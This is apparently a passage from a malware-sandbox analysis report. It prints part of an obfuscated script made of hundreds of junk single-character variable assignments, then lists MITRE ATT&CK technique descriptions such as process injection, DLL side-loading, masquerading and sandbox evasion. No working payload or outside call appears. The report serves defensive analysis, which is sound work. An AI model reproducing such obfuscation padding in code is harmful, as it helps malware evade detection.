429	nnpsoynj = "f";
430	nnpsoynj = "L";
431	ybfbqll = "/";
432	ycodpeqag = "b";
433	ycodpeqag = "t";
434	ycodpeqag = "I";
435	jxvyzoc = "s";
436	jxvyzoc = "v";
437	jxvyzoc = "p";
438	jxvyzoc = "D";
439	jxvyzoc = "d";
440	jxvyzoc = "R";
441	jxvyzoc = "M";
442	jxvyzoc = "k";
443	jxvyzoc = "p";
444	jxvyzoc = "n";
445	jxvyzoc = "H";
446	jxvyzoc = "F";
447	jxvyzoc = "G";
448	jxvyzoc = "Q";
449	jxvyzoc = "k";
450	jxvyzoc = "r";
451	jxvyzoc = "w";
452	jxvyzoc = "w";
453	jxvyzoc = "a";
454	jxvyzoc = "M";
455	jxvyzoc = "Q";
456	jxvyzoc = "U";
457	jxvyzoc = "U";
458	jxvyzoc = "b";
459	jxvyzoc = "q";
460	jxvyzoc = "P";
461	jxvyzoc = "f";
462	jxvyzoc = "m";
463	jxvyzoc = "Z";
464	jxvyzoc = "y";
465	jxvyzoc = "i";
466	jxvyzoc = "r";
467	jxvyzoc = "Y";
468	jxvyzoc = "l";
469	jxvyzoc = "M";
470	jxvyzoc = "G";
471	jxvyzoc = "j";
472	jxvyzoc = "b";
473	xfgtaogaf = "x";
474	xfgtaogaf = "W";
475	xfgtaogaf = "M";
476	xfgtaogaf = "d";
477	xfgtaogaf = "E";
478	xfgtaogaf = "u";
479	xfgtaogaf = "I";
480	xfgtaogaf = "p";
481	xfgtaogaf = "K";
482	xfgtaogaf = "E";
483	xfgtaogaf = "V";
484	xfgtaogaf = "s";
485	xfgtaogaf = "G";
486	xfgtaogaf = "a";
487	xfgtaogaf = "I";
488	xfgtaogaf = "B";
489	xfgtaogaf = "U";
490	xfgtaogaf = "H";
491	xfgtaogaf = "c";
492	xfgtaogaf = "Q";
493	xfgtaogaf = "Y";
494	xfgtaogaf = "I";
495	xfgtaogaf = "D";
496	xfgtaogaf = "w";
497	xfgtaogaf = "2";
498	fksapwrba = "B";
499	fksapwrba = "S";
500	fksapwrba = "F";
501	fksapwrba = "i";
502	fksapwrba = "U";
503	fksapwrba = "z";
504	fksapwrba = "B";
505	fksapwrba = "j";
506	fksapwrba = "B";
507	fksapwrba = "t";
508	fksapwrba = "q";
509	fksapwrba = "c";
510	fksapwrba = "S";
511	fksapwrba = "w";
512	fksapwrba = "N";
513	fksapwrba = "z";
514	fksapwrba = "h";
515	fksapwrba = "i";
516	fksapwrba = "z";
517	fksapwrba = "a";
518	fksapwrba = "Q";
519	fksapwrba = "a";
520	fksapwrba = "r";
521	fksapwrba = "i";
522	fksapwrba = "M";
523	fksapwrba = "F";
524	fksapwrba = "A";
525	fksapwrba = "g";
526	fksapwrba = "O";
527	fksapwrba = "Y";
528	fksapwrba = "e";
529	fksapwrba = "B";
530	fksapwrba = "4";
531	bkqpwi = "m";
532	bkqpwi = "p";
533	bkqpwi = "v";
534	bkqpwi = "i";
535	bkqpwi = "I";
536	bkqpwi = "l";
537	bkqpwi = "f";
538	bkqpwi = "U";
539	bkqpwi = "b";
540	bkqpwi = "s";
541	bkqpwi = "M";
542	bkqpwi = "c";
543	bkqpwi = "V";
544	bkqpwi = "k";
545	bkqpwi = "C";
546	bkqpwi = "E";
547	bkqpwi = "k";
548	bkqpwi = "j";
549	bkqpwi = "E";
550	bkqpwi = "D";
551	bkqpwi = "P";
552	bkqpwi = "a";
553	bkqpwi = "x";
554	bkqpwi = "m";
555	bkqpwi = "u";
556	bkqpwi = "U";
557	bkqpwi = "z";
558	bkqpwi = "m";
559	bkqpwi = "P";
560	bkqpwi = "l";
561	bkqpwi = "E";
562	bkqpwi = "V";
563	bkqpwi = "W";
564	bkqpwi = "A";
565	bkqpwi = "T";
566	bkqpwi = "Y";
567	bkqpwi = "k";
568	bkqpwi = "V";
569	bkqpwi = "Y";
570	bkqpwi = "j";
571	bkqpwi = "P";
572	bkqpwi = "j";
573	bkqpwi = "K";
574	fofbmozbu = "p";
575	fofbmozbu = "r";
576	fofbmozbu = "K";
577	fofbmozbu = "B";
578	fofbmozbu = "S";
579	fofbmozbu = "x";
580	fofbmozbu = "k";
581	fofbmozbu = "v";
582	fofbmozbu = "O";
583	fofbmozbu = "x";
584	fofbmozbu = "P";
585	fofbmozbu = "u";
586	fofbmozbu = "l";
587	fofbmozbu = "v";
588	jpwxfok = "Q";
589	jpwxfok = "W";
590	jpwxfok = "e";
591	jpwxfok = "o";
592	jpwxfok = "d";
593	jpwxfok = "e";
594	jpwxfok = "C";
595	jpwxfok = "q";
596	jpwxfok = "G";
597	jpwxfok = "A";
598	jpwxfok = "g";
599	jpwxfok = "f";
600	jpwxfok = "d";
601	jpwxfok = "l";
602	jpwxfok = "r";
603	guqnzco = "X";
604	guqnzco = "X";
605	guqnzco = "y";
606	guqnzco = "X";
607	guqnzco = "\\";
608	ioaprcb = "i";
609	ioaprcb = "R";
610	ioaprcb = "a";
611	ioaprcb = "I";
612	ioaprcb = "s";
613	ioaprcb = "g";
614	ioaprcb = "y";
615	ioaprcb = "c";
616	ioaprcb = "g";
617	ioaprcb = "F";
618	ioaprcb = "n";
619	ioaprcb = "M";
620	ioaprcb = "s";
621	ioaprcb = "m";
622	ioaprcb = "k";
623	ioaprcb = "E";
624	ioaprcb = "\"";
625	vrpht = "J";
626	vrpht = "l";
627	vrpht = "R";
628	vrpht = "x";
629	vrpht = "J";
630	vrpht = "m";
631	vrpht = "n";
632	vrpht = "V";
633	vrpht = "J";
634	vrpht = "a";
635	vrpht = "g";
636	vrpht = "Q";
637	vrpht = "r";
638	vrpht = "K";
639	vrpht = "Q";
640	vrpht = "l";
641	vrpht = "b";
642	vrpht = "e";
643	vrpht = "V";
644	vrpht = "u";
645	vrpht = "F";
646	vrpht = "m";
647	vrpht = "e";
648	gbmfcvw = "z";
649	gbmfcvw = "o";
650	gbmfcvw = "M";
651	gbmfcvw = "G";
652	gbmfcvw = "G";
653	gbmfcvw = "S";
654	gbmfcvw = "W";
655	gbmfcvw = "y";
656	gbmfcvw = "P";
657	gbmfcvw = "L";
658	gbmfcvw = "I";
659	gbmfcvw = "c";
660	gbmfcvw = "y";
661	gbmfcvw = "m";
662	gbmfcvw = "c";
663	gbmfcvw = "G";
664	gbmfcvw = "U";
665	gbmfcvw = "d";
666	gbmfcvw = "d";
667	gbmfcvw = "X";
668	gbmfcvw = "g";
669	gbmfcvw = "c";
670	gbmfcvw = "F";
671	gbmfcvw = "T";
672	gbmfcvw = "j";
673	gbmfcvw = "u";
674	gbmfcvw = "x";
675	gbmfcvw = "L";
676	gbmfcvw = "R";
677	gbmfcvw = "P";
678	gbmfcvw = "U";
679	gbmfcvw = "F";
680	gbmfcvw = "1";
681	dpkagf = "S";
682	dpkagf = "z";
683	dpkagf = "Q";
684	dpkagf = "Q";
685	dpkagf = "m";
686	dpkagf = "q";
687	dpkagf = "N";
688	dpkagf = "p";
689	dpkagf = "Z";
690	dpkagf = "L";
691	dpkagf = "Z";
692	dpkagf = "h";
693	dpkagf = "v";
694	dpkagf = "v";
695	dpkagf = "H";
696	dpkagf = "s";
697	dpkagf = "B";
698	dpkagf = "c";
699	dpkagf = "W";
700	dpkagf = "e";
701	dpkagf = "F";
702	dpkagf = "s";
703	dpkagf = "I";
704	dpkagf = "P";
705	dpkagf = "V";
706	dpkagf = "l";
707	dpkagf = "j";
708	dpkagf = "q";
709	dpkagf = "S";
710	dpkagf = "x";
711	dpkagf = "K";
712	dpkagf = "z";
713	dpkagf = "F";
714	dpkagf = "l";
715	dpkagf = "e";
716	dpkagf = "y";
717	dpkagf = "j";
718	dpkagf = "k";
719	dpkagf = "o";
720	dpkagf = "9";
721	hualzhno = "Z";
722	hualzhno = "Q";
723	yhwlow = "M";
724	yhwlow = "f";
725	yhwlow = "v";
726	yhwlow = "z";
727	yhwlow = "U";
728	yhwlow = "M";
729	yhwlow = "x";
730	fgygj = "a";
731	fgygj = "S";
732	dwmuulqt = "M";
733	dwmuulqt = "Z";
734	dwmuulqt = "a";
735	dwmuulqt = "w";
736	dwmuulqt = "Q";
737	dwmuulqt = "C";
738	dwmuulqt = "D";
739	dwmuulqt = "C";
740	dwmuulqt = "T";
741	dwmuulqt = "h";
742	dwmuulqt = "H";
743	dwmuulqt = "U";
744	dwmuulqt = "I";
745	dwmuulqt = "b";
746	dwmuulqt = "L";
747	dwmuulqt = "b";
748	dwmuulqt = "s";
749	dwmuulqt = "A";
750	dwmuulqt = "q";
751	dwmuulqt = ":";
752	gohcyv = "X";
753	gohcyv = "b";
754	gohcyv = "b";
755	gohcyv = "e";
756	gohcyv = "K";
757	gohcyv = "L";
758	gohcyv = "N";
759	gohcyv = "C";
760	gohcyv = "C";
761	gohcyv = "y";
762	gohcyv = "A";
763	gohcyv = "P";
764	gohcyv = "X";
765	gohcyv = "q";
766	gohcyv = "o";
767	gohcyv = "U";
768	gohcyv = "q";
769	gohcyv = "w";
770	gohcyv = "E";
771	gohcyv = "G";
772	gohcyv = "d";
773	gohcyv = "I";
774	gohcyv = "R";
775	gohcyv = "x";
776	gohcyv = "b";
777	gohcyv = "I";
778	gohcyv = "Y";
779	ggbzmjj = "m";
780	ggbzmjj = "y";
781	ggbzmjj = "d";
782	ggbzmjj = "Z";
783	ggbzmjj = "V";
784	ggbzmjj = "h";
785	ggbzmjj = "Q";
786	ggbzmjj = "f";
787	ggbzmjj = "G";
788	ggbzmjj = "L";
789	ggbzmjj = "T";
790	ggbzmjj = "A";
791	ggbzmjj = "s";
792	ggbzmjj = "I";
793	ggbzmjj = "y";
794	ggbzmjj = "C";
795	ggbzmjj = "C";
796	ggbzmjj = "u";
797	ggbzmjj = "j";
798	ggbzmjj = "a";
799	ggbzmjj = "V";
800	ggbzmjj = "q";
801	ggbzmjj = "j";
802	ggbzmjj = "H";
803	ggbzmjj = "L";
804	ggbzmjj = "o";
805	ggbzmjj = "0";
806	kkrao = "t";
807	kkrao = "P";
808	kkrao = "I";
809	kkrao = "r";
810	kkrao = "S";
811	kkrao = "y";
812	kkrao = "o";
813	kkrao = "m";
814	kkrao = "S";
815	kkrao = "j";
816	kkrao = "O";
817	kkrao = "n";
818	kkrao = "i";
819	kkrao = "K";
820	kkrao = "e";
821	kkrao = "d";
822	gxtwygjh = "V";
823	gxtwygjh = "E";
824	gxtwygjh = "J";
825	gxtwygjh = "e";
826	gxtwygjh = "I";
827	gxtwygjh = "h";
828	gxtwygjh = "M";
829	gxtwygjh = "O";
830	gxtwygjh = "Q";
831	gxtwygjh = "L";
832	gxtwygjh = "d";
833	gxtwygjh = "G";
834	gxtwygjh = "R";
835	gxtwygjh = "p";
836	gxtwygjh = "f";
837	gxtwygjh = "B";
838	gxtwygjh = "z";
839	gxtwygjh = "D";
840	gxtwygjh = "i";
841	gxtwygjh = "L";
842	gxtwygjh = "A";
843	gxtwygjh = "j";
844	gxtwygjh = "T";
845	gxtwygjh = "K";
846	gxtwygjh = "z";
847	gxtwygjh = "F";
848	gxtwygjh = "M";
849	gxtwygjh = "o";
850	gxtwygjh = "R";
851	gxtwygjh = "H";
852	gxtwygjh = "L";
853	gxtwygjh = "m";
854	gxtwygjh = "R";
855	gxtwygjh = "g";
856	gxtwygjh = "j";
857	gxtwygjh = "j";
858	gxtwygjh = "d";
859	gxtwygjh = "z";
860	gxtwygjh = "Y";
861	gxtwygjh = "I";
862	gxtwygjh = "c";
863	gxtwygjh = "B";
864	gxtwygjh = "X";
865	gxtwygjh = "u";
866	ubpou = "Y";
867	ubpou = "I";
868	ubpou = "t";
869	ubpou = "O";
870	ubpou = "E";
871	ubpou = "M";
872	ubpou = "b";
873	ubpou = "Z";
874	ubpou = "K";
875	ubpou = "l";
876	ubpou = "Z";
877	ubpou = "E";
878	ubpou = "Y";
879	ubpou = "M";
880	ubpou = "h";
881	ubpou = "x";
882	ubpou = "r";
883	ubpou = "T";
884	ubpou = "G";
885	ubpou = "e";
886	ubpou = "o";
887	ubpou = "a";
888	ubpou = "G";
889	ubpou = "i";
890	ubpou = "v";
891	ubpou = "e";
892	ubpou = "W";
893	ubpou = "R";
894	llboxo = "Q";
895	llboxo = "h";
896	llboxo = "i";
897	llboxo = "J";
898	llboxo = "W";
899	llboxo = "L";
900	llboxo = "p";
901	llboxo = "r";
902	llboxo = "Z";
903	llboxo = "O";
904	llboxo = "I";
905	llboxo = "q";
906	vvreqyp = "l";
907	vvreqyp = "M";
908	vvreqyp = "O";
909	vvreqyp = "y";
910	vvreqyp = "F";
911	vvreqyp = "w";
912	vvreqyp = "B";
913	vvreqyp = "g";
914	vvreqyp = "R";
915	vvreqyp = "W";
916	vvreqyp = "z";
917	vvreqyp = "K";
918	vvreqyp = "w";
919	vvreqyp = "C";
920	vvreqyp = "i";
921	vvreqyp = "r";
922	vvreqyp = "c";
923	vvreqyp = "U";
924	vvreqyp = "l";
925	vvreqyp = "n";
926	vvreqyp = "T";
927	vvreqyp = "P";
928	vvreqyp = "y";
929	vvreqyp = "R";
930	vvreqyp = "G";
931	vvreqyp = "Z";
932	vvreqyp = "D";
933	vvreqyp = "N";
934	vvreqyp = "f";
935	vvreqyp = "w";
936	vvreqyp = "t";
937	vvreqyp = "O";
938	vvreqyp = "S";
939	vvreqyp = "T";
940	vvreqyp = "f";
941	vvreqyp = "F";
942	vvreqyp = "O";
943	vvreqyp = "Q";
944	vvreqyp = "t";
945	vvreqyp = "i";
946	vvreqyp = "n";
947	vvreqyp = "-";
948	megocvb = "i";
949	megocvb = "N";
950	megocvb = "e";
951	megocvb = "w";
952	megocvb = "o";
953	megocvb = "U";
954	megocvb = "y";
955	megocvb = "F";
956	megocvb = "y";
957	megocvb = "h";
958	megocvb = "p";
959	megocvb = "D";
960	megocvb = "R";
961	megocvb = "k";
962	megocvb = "W";
963	megocvb = "w";
964	megocvb = "x";
965	megocvb = "s";
966	megocvb = "w";
967	megocvb = "X";
968	megocvb = "A";
969	megocvb = "d";
970	megocvb = "f";
971	megocvb = "N";
972	megocvb = "d";
973	megocvb = "T";
974	megocvb = "N";
975	megocvb = "N";
976	megocvb = "d";
977	megocvb = "A";
978	megocvb = "p";
979	megocvb = "J";
980	megocvb = "Y";
981	megocvb = "g";
982	megocvb = "S";
983	megocvb = "i";
984	megocvb = "J";
985	megocvb = "W";
986	rvqpu = "e";
987	rvqpu = "Z";
988	rvqpu = "b";
989	rvqpu = "I";
990	rvqpu = "I";
991	rvqpu = "D";
992	rvqpu = "r";
993	rvqpu = "l";
994	rvqpu = "O";
995	rvqpu = "w";
996	rvqpu = "h";
997	rvqpu = "W";
998	rvqpu = "R";
999	rvqpu = "V";
1000	rvqpu = "W";
1001	rvqpu = "M";
1002	rvqpu = "F";
1003	rvqpu = "z";
1004	rvqpu = "n";
1005	rvqpu = "b";
1006	rvqpu = "D";
1007	rvqpu = "m";
1008	rvqpu = "W";
1009	rvqpu = "z";
1010	rvqpu = "P";
1011	rvqpu = "S";
1012	rvqpu = "O";
1013	rvqpu = "f";
1014	rvqpu = "K";
1015	rvqpu = "S";
1016	rvqpu = "v";
1017	rvqpu = "l";
1018	rvqpu = "8";
1019	txlcloo = "m";
1020	txlcloo = "b";
1021	txlcloo = "w";
1022	txlcloo = "l";
1023	txlcloo = "M";
1024	txlcloo = "l";
1025	txlcloo = "H";
1026	txlcloo = "D";
1027	txlcloo = "E";
1028	txlcloo = "Z";
1029	txlcloo = "P";
1030	txlcloo = "X";
1031	txlcloo = "k";
1032	txlcloo = "n";
1033	txlcloo = "Y";
1034	txlcloo = "H";
1035	txlcloo = "7";
1036	qznczk = "O";
1037	qznczk = "M";
1038	qznczk = "x";
1039	qznczk = "c";
1040	qznczk = "G";
1041	qznczk = "c";
1042	qznczk = "c";
1043	qznczk = "H";
1044	qznczk = "S";
1045	qznczk = "K";
1046	qznczk = "z";
1047	qznczk = "K";
1048	qznczk = "m";
1049	qznczk = "d";
1050	qznczk = "i";
1051	qznczk = "q";
1052	qznczk = "S";
1053	qznczk = "j";
1054	qznczk = "w";
1055	qznczk = "A";
1056	qznczk = "G";
1057	qznczk = "b";
1058	qznczk = "F";
1059	qznczk = "J";
1060	qznczk = "z";
1061	qznczk = "n";
1062	qznczk = "t";
1063	qznczk = "h";
1064	qznczk = "E";
1065	qznczk = "N";
1066	qznczk = "q";
1067	qznczk = "d";
1068	qznczk = "k";
1069	qznczk = "r";
1070	qznczk = "G";
1071	qznczk = "P";
1072	qznczk = "W";
1073	qznczk = "T";
1074	qznczk = "e";
1075	qznczk = "a";
1076	qznczk = "O";
1077	qznczk = "q";
1078	qznczk = "F";
1079	ltdecov = "t";
1080	ltdecov = "t";
1081	ltdecov = "N";
1082	ltdecov = "J";
1083	ltdecov = "R";
1084	ltdecov = "H";
1085	ltdecov = "o";
1086	ltdecov = "n";
1087	ltdecov = "h";
1088	ltdecov = "V";
1089	ltdecov = "S";
1090	ltdecov = "q";
1091	ltdecov = "j";
1092	ltdecov = "J";
1093	ltdecov = "A";
1094	ltdecov = "U";
1095	ltdecov = "h";
1096	ltdecov = "g";
1097	ltdecov = "i";
1098	ltdecov = "X";
1099	ltdecov = "N";
1100	oskfrpa = "f";
1101	oskfrpa = "j";
1102	oskfrpa = "A";
1103	oskfrpa = "h";
1104	oskfrpa = "m";
1105	oskfrpa = "K";
1106	oskfrpa = "E";
1107	oskfrpa = "v";
1108	oskfrpa = "n";
1109	oskfrpa = "L";
1110	oskfrpa = "c";
1111	oskfrpa = "e";
1112	oskfrpa = "Y";
1113	oskfrpa = "i";
1114	oskfrpa = "u";
1115	oskfrpa = "L";
1116	oskfrpa = "U";
1117	oskfrpa = "R";
1118	oskfrpa = "j";
1119	oskfrpa = "Z";
1120	oskfrpa = "s";
1121	oskfrpa = "F";
1122	oskfrpa = "s";
1123	oskfrpa = "S";
1124	oskfrpa = "T";
1125	oskfrpa = "q";
1126	oskfrpa = "a";
1127	oskfrpa = "A";
1128	oskfrpa = "E";
1129	oskfrpa = "a";
1130	jknuv = "j";
1131	jknuv = "c";
1132	jknuv = "b";
1133	jknuv = "O";
1134	jknuv = "K";
1135	jknuv = "h";
1136	jknuv = "o";
1137	jknuv = "k";
1138	jknuv = "O";
1139	jknuv = "k";
1140	jknuv = "b";
1141	jknuv = "k";
1142	jknuv = "U";
1143	jknuv = "L";
1144	jknuv = "S";
1145	jknuv = "L";
1146	jknuv = "x";
1147	jknuv = "a";
1148	jknuv = "a";
1149	jknuv = "g";
1150	jknuv = "h";
1151	jknuv = "P";
1152	jknuv = "i";
1153	jecvku = "m";
1154	jecvku = "R";
1155	jecvku = "T";
1156	jecvku = "J";
1157	jecvku = "d";
1158	jecvku = "Y";
1159	jecvku = "K";
1160	jecvku = "Z";
1161	jecvku = "H";
1162	jecvku = "s";
1163	jecvku = "E";
1164	jecvku = "Q";
1165	jecvku = "p";
1166	jecvku = "V";
1167	jecvku = "q";
1168	jecvku = "r";
1169	jecvku = "H";
1170	jecvku = "a";
1171	jecvku = "N";
1172	jecvku = "U";
1173	jecvku = "U";
1174	jecvku = "Q";
1175	jecvku = "d";
1176	jecvku = "R";
1177	jecvku = "y";
1178	jecvku = "H";
1179	jecvku = "j";
1180	zqyayy = "y";
1181	zqyayy = "j";
1182	zqyayy = "h";
1183	zqyayy = "I";
1184	zqyayy = "A";
1185	zqyayy = "U";
1186	zqyayy = "B";
1187	zqyayy = "M";
1188	zqyayy = "L";
1189	zqyayy = "K";
1190	zqyayy = "Y";
1191	zqyayy = "w";
1192	zqyayy = "S";
1193	zqyayy = "s";
1194	zqyayy = "f";
1195	rqsdmcr = "u";
1196	rqsdmcr = "t";
1197	rqsdmcr = "n";
1198	rqsdmcr = "b";
1199	rqsdmcr = "y";
1200	rqsdmcr = "e";
1201	rqsdmcr = "a";
1202	rqsdmcr = "C";
1203	rqsdmcr = "G";
1204	rqsdmcr = "i";
1205	rqsdmcr = "W";
1206	rqsdmcr = "k";
1207	rqsdmcr = "h";
1208	rqsdmcr = "z";
1209	rqsdmcr = "W";
1210	rqsdmcr = "G";
1211	rqsdmcr = "n";
1212	rqsdmcr = "p";
1213	rqsdmcr = "C";
1214	rqsdmcr = "N";
1215	rqsdmcr = "g";
1216	rqsdmcr = "h";
1217	mcrsbrte = "j";
1218	mcrsbrte = "L";
1219	mcrsbrte = "E";
1220	yplcw = "v";
1221	yplcw = "P";
1222	yplcw = "j";
1223	yplcw = "b";
1224	yplcw = "w";
1225	yplcw = "b";
1226	yplcw = "o";
1227	yplcw = "c";
1228	yplcw = "h";
1229	yplcw = "M";
1230	yplcw = "E";
1231	yplcw = "r";
1232	yplcw = "H";
1233	yplcw = "V";
1234	yplcw = "t";
1235	yplcw = "J";
1236	yplcw = "S";
1237	yplcw = "v";
1238	yplcw = "b";
1239	yplcw = "e";
1240	yplcw = "P";
1241	yplcw = "v";
1242	yplcw = "V";
1243	yplcw = "g";
1244	yplcw = "k";
1245	yplcw = "H";
1246	yplcw = "p";
1247	yplcw = "X";
1248	yplcw = "T";
1249	yplcw = "l";
1250	yplcw = "Z";
1251	yplcw = "A";
1252	yplcw = "P";
1253	yplcw = "_";
1254	vfenyzd = "m";
1255	vfenyzd = "V";
1256	vfenyzd = "X";
1257	vfenyzd = "O";
1258	xicrrar = "o";
1259	xicrrar = "H";
1260	xicrrar = "d";
1261	xicrrar = "S";
1262	xicrrar = "6";
1263	kwwjhuzns = "E";
1264	kwwjhuzns = "m";
1265	kwwjhuzns = "@";
1266	tjnbqafw = "c";
1267	tjnbqafw = "T";
1268	tjnbqafw = "Z";
1269	tjnbqafw = "S";
1270	tjnbqafw = "X";
1271	tjnbqafw = "f";
1272	tjnbqafw = "r";
1273	tjnbqafw = "g";
1274	tjnbqafw = "U";
1275	tjnbqafw = "D";
1276	tjnbqafw = "z";
1277	tjnbqafw = "T";
1278	tjnbqafw = "i";
1279	tjnbqafw = "B";
1280	tjnbqafw = "O";
1281	tjnbqafw = "q";
1282	tjnbqafw = "k";
1283	tjnbqafw = "V";
1284	tjnbqafw = "d";
1285	tjnbqafw = "L";
1286	tjnbqafw = "s";
1287	tjnbqafw = "E";
1288	tjnbqafw = "F";
1289	tjnbqafw = "R";
1290	tjnbqafw = "l";
1291	tjnbqafw = "I";
1292	tjnbqafw = "t";
1293	tjnbqafw = "i";
1294	tjnbqafw = "C";
1295	jvliexdm = "F";
1296	jvliexdm = "C";
1297	jvliexdm = "A";
1298	jvliexdm = "C";
1299	jvliexdm = "P";
1300	jvliexdm = "Y";
1301	jvliexdm = "n";
1302	jvliexdm = "H";
1303	jvliexdm = "w";
1304	jvliexdm = "A";
1305	jvliexdm = "c";
1306	rigfvbduk = "f";
1307	rigfvbduk = "N";
1308	rigfvbduk = "Z";
1309	rigfvbduk = "y";
1310	rigfvbduk = "z";
1311	rigfvbduk = "G";
1312	rigfvbduk = "m";
1313	rigfvbduk = "&";
1314	fnfvc = "r";
1315	fnfvc = "A";
1316	fnfvc = "b";
1317	fnfvc = "M";
1318	fnfvc = "K";
1319	fnfvc = "a";
1320	fnfvc = "v";
1321	fnfvc = "U";
1322	fnfvc = "p";
1323	fnfvc = "U";
1324	fnfvc = "A";
1325	fnfvc = "v";
1326	fnfvc = "V";
1327	fnfvc = "O";
1328	fnfvc = "K";
1329	fnfvc = "i";
1330	fnfvc = "E";
1331	fnfvc = "s";
1332	fnfvc = "f";
1333	fnfvc = "o";
1334	fnfvc = "d";
1335	fnfvc = "C";
1336	fnfvc = "O";
1337	fnfvc = "U";
1338	fnfvc = "S";
1339	fnfvc = "n";
1340	fnfvc = "Y";
1341	fnfvc = "z";
1342	fnfvc = "w";
1343	fnfvc = "I";
1344	fnfvc = "a";
1345	fnfvc = "s";
1346	fnfvc = "E";
1347	fnfvc = "c";
1348	fnfvc = "T";
1349	rflvzwczo ( );	rflvzwczo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
